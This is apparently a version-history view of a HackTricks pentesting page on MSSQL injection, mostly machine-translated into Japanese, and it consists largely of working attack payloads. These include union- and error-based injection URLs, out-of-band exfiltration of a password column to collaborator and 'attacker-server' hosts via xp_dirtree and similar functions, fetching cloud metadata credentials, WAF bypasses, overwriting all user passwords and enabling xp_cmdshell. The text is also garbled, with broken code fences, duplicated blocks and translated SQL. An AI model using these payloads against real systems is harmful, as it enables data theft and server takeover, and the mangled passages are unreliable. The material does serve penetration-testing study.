hacktricks/pentesting-web/sql-injection/mssql-injection.md

338 lines
17 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# MSSQLインジェクション
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</summary>
2022-04-28 16:01:33 +00:00
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
2022-04-28 16:01:33 +00:00
</details>
## Active Directoryの列挙
2020-09-20 21:14:26 +00:00
次のMSSQL関数を使用して、MSSQLサーバー内でSQLインジェクションを介して**ドメインユーザーを列挙する**ことが可能です:
2020-09-20 21:14:26 +00:00
- **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名を知っている場合この例では_DOMAIN_、この関数は16進数形式で**ユーザーAdministratorのSID**を返します。これは`0x01050000000[...]0000f401`のように見えます。最後の4バイトが、**ユーザーAdministratorの一般的なIDである500**の**ビッグエンディアン形式**であることに注意してください。\
この関数を使用すると、**ドメインのIDを知ることができます**最後の4バイト以外のすべてのバイト
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)。この場合、**0000e803**はビッグエンディアンで**1000**に等しい通常、これは作成された最初の通常のユーザーIDです。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。たとえば、次のような関数を使用することができます
2020-09-20 21:14:26 +00:00
```python
def get_sid(n):
2023-07-07 23:42:27 +00:00
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
2020-09-20 21:14:26 +00:00
```
## **代替エラーベースのベクター**
2020-09-20 21:14:26 +00:00
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構造をしており、OR演算子に基づく変種もある。このような式を含むクエリは通常、WAFによってブロックされる。回避策として、%2b文字を使用して文字列を連結し、求めているデータでデータ型変換エラーを引き起こす特定の関数呼び出しの結果と組み合わせる。
2020-12-04 10:15:48 +00:00
このような関数の例:
2020-12-04 10:15:48 +00:00
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
関数 `USER_NAME()` の使用例:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
2022-10-09 21:13:17 +00:00
## SSRF
これらのSSRFトリックは[こちら](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)から取得されました。
2022-10-10 00:14:53 +00:00
### `fn_xe_file_target_read_file`
サーバーで**`VIEW SERVER STATE`**権限が必要です。
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
2020-12-04 10:15:48 +00:00
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
2022-10-10 00:14:53 +00:00
### `fn_get_audit_file`
**`CONTROL SERVER`** 権限が必要です。
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
**`CONTROL SERVER`** 権限が必要です。
```
2020-12-04 10:15:48 +00:00
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
2022-10-10 00:14:53 +00:00
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
`xp_dirtree`などのストアドプロシージャは、Microsoftによって公式に文書化されていませんが、MSSQL内でのネットワーク操作においてその有用性が他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな[](https://www.notsosecure.com/oob-exploitation-cheatsheet/)や[投稿](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)で示されているように、Out of Band Dataの情報漏洩によく使用されます。
たとえば、`xp_dirtree`ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445にのみ制限されています。ポート番号は変更できませんが、ネットワーク共有から読み取りを許可します。以下のSQLスクリプトでその使用法が示されています
2022-10-10 00:14:53 +00:00
```sql
DECLARE @user varchar(100);
2023-07-07 23:42:27 +00:00
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
この方法は、デフォルト設定で実行されている`Windows Server 2016 Datacenter`上の`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`など、すべてのシステム構成で機能しない可能性があることに注意してください。
さらに、`master..xp_fileexist``xp_subdirs`などの代替ストアドプロシージャがあり、同様の結果を達成できます。`xp_fileexist`の詳細については、この[TechNetの記事](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)を参照してください。
2022-10-10 00:14:53 +00:00
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
明らかに、**`xp_cmdshell`**を使用しても、**SSRF**をトリガーする何かを**実行**することができます。詳細については、ページ内の関連セクションを**読んでください**
2022-10-10 00:14:53 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQLユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
MSSQL内でカスタム関数を実行するためにCLR UDF (Common Language Runtime User Defined Function)を作成するには、任意の.NET言語で記述され、DLLにコンパイルされたコードをMSSQL内でロードする必要があります。これには`dbo`アクセス権が必要です。つまり、通常はデータベース接続が`sa`として行われるか、管理者ロールで行われる場合にのみ実現可能です。
Visual Studioプロジェクトとインストール手順は、[このGithubリポジトリ](https://github.com/infiniteloopltd/SQLHttp)で提供されており、CLRアセンブリとしてMSSQLにバイナリをロードすることを容易にし、MSSQL内からHTTP GETリクエストを実行できるようにします。
この機能の中心は、`http.cs`ファイルにカプセル化されており、`WebClient`クラスを使用してGETリクエストを実行し、以下に示すようにコンテンツを取得します。
2022-10-10 00:14:53 +00:00
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
2023-07-07 23:42:27 +00:00
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
2023-07-07 23:42:27 +00:00
}
}
```
`CREATE ASSEMBLY` SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することが推奨されます`select * from sys.trusted_assemblies;`を使用して表示可能)。
2022-10-10 21:08:59 +00:00
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
成功してアセンブリを追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます
2022-10-10 00:14:53 +00:00
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **クイックエクスプロイテーション: 1つのクエリでテーブル全体の内容を取得する**
[ここからのトリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。
2020-12-04 10:15:48 +00:00
1つのクエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、"raw"のような特定のモードが必要な`FOR XML`句よりも簡潔です。`FOR JSON`句は簡潔さが求められるため好まれます。
現在のデータベースからスキーマ、テーブル、および列を取得する方法は次のとおりです:
```sql
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
2020-12-04 10:15:48 +00:00
```sql
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
2020-12-04 10:15:48 +00:00
```
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```plaintext
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
```plaintext
MSSQLインジェクション攻撃の例です。この攻撃では、sys.dm_exec_requestsとsys.dm_exec_sql_textを使用してSQL文を取得します。
```
```
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
2022-10-10 21:08:59 +00:00
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```
## **Little tricks for WAF bypasses**
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
Non-standard whitespace characters: %C2%85 или %C2%A0:
2022-10-10 21:08:59 +00:00
```
```md
## MSSQL Injection
### MSSQL Union-Based Injection
To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the URL parameter:
```
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
2020-12-04 10:15:48 +00:00
```
This payload will attempt to retrieve the version of the MSSQL database by injecting a UNION SELECT statement into the original SQL query.
```
2020-12-04 10:15:48 +00:00
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
```plaintext
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
```
A period instead of a whitespace between FROM and a column name:
```
## MSSQL Injection
### MSSQL Union-Based Injection
The following URL is an example of a union-based SQL injection targeting a MSSQL database:
```plaintext
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
2020-12-04 10:15:48 +00:00
```
### MSSQL ユニオンベースのインジェクション
以下のURLは、MSSQLデータベースをターゲットにしたユニオンベースのSQLインジェクションの例です
```plaintext
2023-07-07 23:42:27 +00:00
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
2020-12-04 10:15:48 +00:00
```
\N separator between SELECT and a throwaway column:
2023-07-07 23:42:27 +00:00
```
## MSSQL Injection
### Union-Based SQL Injection
To perform a union-based SQL injection on a MSSQL database, you can use the following payload in the vulnerable parameter:
```plaintext
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
This payload will retrieve the version of the MSSQL database.
```
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
```sql
SELECT 'a' SELECT 'b'
```
---
```sql
SELECT 'a' SELECT 'b'
```
```
So for example, multiple queries such as:
```sql
```plaintext
[tempdb]を使用する
テーブル[test]を作成する ([id] int)
[test]に値(1)を挿入する
[test]から[id]を選択する
[test]を削除する
```
```
Can be reduced to:
```sql
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# 無駄なexec()を追加し、WAFにこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# 奇妙に構築されたクエリを使用する
admin'exec('update[users]set[password]=''a''')--
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# またはxp_cmdshellを有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## これは次のようになります:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
## References
2022-10-10 00:14:53 +00:00
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
2022-10-10 00:14:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
2022-04-28 16:01:33 +00:00
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>